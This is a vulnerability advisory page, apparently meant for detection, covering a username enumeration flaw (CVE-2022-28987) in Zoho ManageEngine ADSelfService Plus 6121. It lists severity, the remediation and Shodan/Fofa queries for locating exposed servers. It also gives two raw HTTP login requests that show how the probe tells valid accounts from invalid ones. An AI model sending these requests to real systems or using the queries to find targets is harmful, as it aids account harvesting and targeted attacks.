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CVE-2022-28987: Zoho ManageEngine ADSelfService Plus 6121 - Username Enumeration

TitleZoho ManageEngine ADSelfService Plus 6121 - Username Enumeration
Authorritikchaddha
SeverityMedium
ImpactAttackers can enumerate valid usernames, aiding targeted attacks or account harvesting.
RemediationUpdate to version 6202 or later.
CVSS Score5.3
EPSS Score0.166
CVE IDCVE-2022-28987
CWE IDCWE-203
Shodan Queryhttp.title:"ADSelfService Plus"
Fofa Querytitle="ADSelfService Plus"
Tags cve cve2022 zoho manageengine user-enum adselfservice

🔍 Vulnerability Description

Zoho ManageEngine ADSelfService Plus 6121 is vulnerable to username enumeration (CVE-2022-28987). The Forgot Password functionality responds differently for existing and non-existing users, allowing attackers to enumerate valid usernames.

🌐 HTTP Request

POST /ServletAPI/accounts/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 25
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

loginName=asdfnonexistent
POST /ServletAPI/accounts/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Content-Length: 15
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

loginName=Guest

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-28987.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-28987.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A